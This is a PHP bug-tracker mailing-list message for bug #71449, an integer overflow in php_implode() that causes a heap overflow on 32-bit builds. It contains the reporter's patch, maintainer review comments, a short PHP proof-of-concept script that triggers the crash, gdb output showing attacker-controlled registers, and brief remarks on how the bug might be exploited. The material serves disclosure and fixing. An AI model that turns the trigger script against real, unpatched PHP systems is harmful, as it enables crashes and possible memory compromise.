Sec Bug->Bug #71449 [Asn]: An integer overflow bug in php_implode() could lead heap overflow, make crashes

From: Date: Wed, 27 Jan 2016 06:55:28 +0000
Subject: Sec Bug->Bug #71449 [Asn]: An integer overflow bug in php_implode() could lead heap overflow, make crashes
References: 1  Groups: php.bugs 
Request: Send a blank email to php-bugs+get-198914@lists.php.net to get a copy of this message
Edit report at https://bugs.php.net/bug.php?id=71449&edit=1 ID: 71449 Updated by: stas@php.net Reported by: yeongjin dot jang at gatech dot edu Summary: An integer overflow bug in php_implode() could lead heap overflow, make crashes Status: Assigned -Type: Security +Type: Bug Package: Strings related Operating System: Linux, Ubuntu PHP Version: 7.0Git-2016-01-25 (Git) Assigned To: stas Block user comment: N Private report: Y Previous Comments: ------------------------------------------------------------------------ [2016-01-27 06:13:04] stas@php.net The right way to fix it is to use zend_string_safe_alloc. There are multiple places there where safe_emalloc was replaced with unsafe zend_string_alloc. That all needs to be fixed. I'll make a patch. ------------------------------------------------------------------------ [2016-01-26 07:16:00] ab@php.net Thanks for the patch. A small correction could be - numelems should be of type uint32_t, and ZEND_SIZE_MAX should be used instead of ULONG_MAX. Thanks. ------------------------------------------------------------------------ [2016-01-26 00:32:50] yeongjin dot jang at gatech dot edu I forgot to add the patch diff --git a/ext/standard/string.c b/ext/standard/string.c index 0229146..cb097cd 100644 --- a/ext/standard/string.c +++ b/ext/standard/string.c @@ -1246,6 +1246,11 @@ PHPAPI void php_implode(const zend_string *delim, zval *arr, zval *return_value) } } ZEND_HASH_FOREACH_END(); + if(ZSTR_LEN(delim) >= (ULONG_MAX - len)/(numelems-1)) { + php_error_docref(NULL, E_WARNING, "Integer overflow has occurred"); + RETURN_EMPTY_STRING(); + } + str = zend_string_alloc(len + (numelems - 1) * ZSTR_LEN(delim), 0); cptr = ZSTR_VAL(str) + ZSTR_LEN(str); ------------------------------------------------------------------------ [2016-01-25 23:53:40] yeongjin dot jang at gatech dot edu Description: ------------ A heap overflow vulnerability can be triggered by an integer overflow vulnerability, which exists in PHP-7.1.0 due to missing overflow check in a function php_implode() in ext/standard/string.c I believe this could lead memory leak to the string if carefully exploited with using global addresses in the binary (e.g., GOT entries, heap addresses, etc.). The bug happens on the line of ext/standard/string.c:1249, upon calling zend_string_alloc(). Both %eax and %ecx can be controllable by the exploit. str = zend_string_alloc(len + (numelems - 1) * ZSTR_LEN(delim), 0); This is only triggered in 32bit machines. Test script: --------------- <?php $arr = []; for($i=0;$i<65536; ++$i) { $arr[$i]= "aa"; } $text1 = str_repeat("ABCD", 16384); // Changing ABCD into other values will alter %eax and %ecx. $str = implode($text1, $arr); ?> Expected result: ---------------- Correct execution of implode of strings. Actual result: -------------- [blue9057@ubuntu ~/exploit/php$] gdb which php GNU gdb (Ubuntu 7.7.1-0ubuntu5~14.04.2) 7.7.1 Copyright (C) 2014 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "i686-linux-gnu". Type "show configuration" for configuration details. For bug reporting instructions, please see: <http://www.gnu.org/software/gdb/bugs/>. Find the GDB manual and other documentation resources online at: <http://www.gnu.org/software/gdb/documentation/>. For help, type "help". Type "apropos word" to search for commands related to "word"... Reading symbols from /usr/local/bin/php...done. (gdb) r implode.php Starting program: /usr/local/bin/php implode.php Program received signal SIGSEGV, Segmentation fault. php_implode (delim=delim@entry=0xb7401000, arr=arr@entry=0xb7a13160, return_value=return_value@entry=0xb7a13100) at /home/blue9057/php-src/ext/standard/string.c:1255 1255 cptr -= ZSTR_LEN(*strptr); (gdb) i r eax 0x44434241 1145258561 ecx 0x44434241 1145258561 edx 0xb7452004 -1220206588 ebx 0xb7452004 -1220206588 esp 0xbfffbf80 0xbfffbf80 ebp 0xcccccccd 0xcccccccd esi 0xb7451fe4 -1220206620 edi 0xb7442004 -1220272124 eip 0x827f0d8 0x827f0d8 <php_implode+440> eflags 0x10206 [ PF IF RF ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 (gdb) r -v The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /usr/local/bin/php -v PHP 7.1.0-dev (cli) (built: Jan 24 2016 20:39:41) ( NTS ) Copyright (c) 1997-2016 The PHP Group Zend Engine v3.1.0-dev, Copyright (c) 1998-2016 Zend Technologies [Inferior 1 (process 3607) exited normally] (gdb) Vulnerable Code: ---------------- str = zend_string_alloc(len + (numelems - 1) * ZSTR_LEN(delim), 0); 131072 + 65535 * 65536 (overflows), all of len, numelem, and the length of delim are fully controllable. ------------------------------------------------------------------------ -- Edit this bug report at https://bugs.php.net/bug.php?id=71449&edit=1

« previous php.bugs (#198914) next »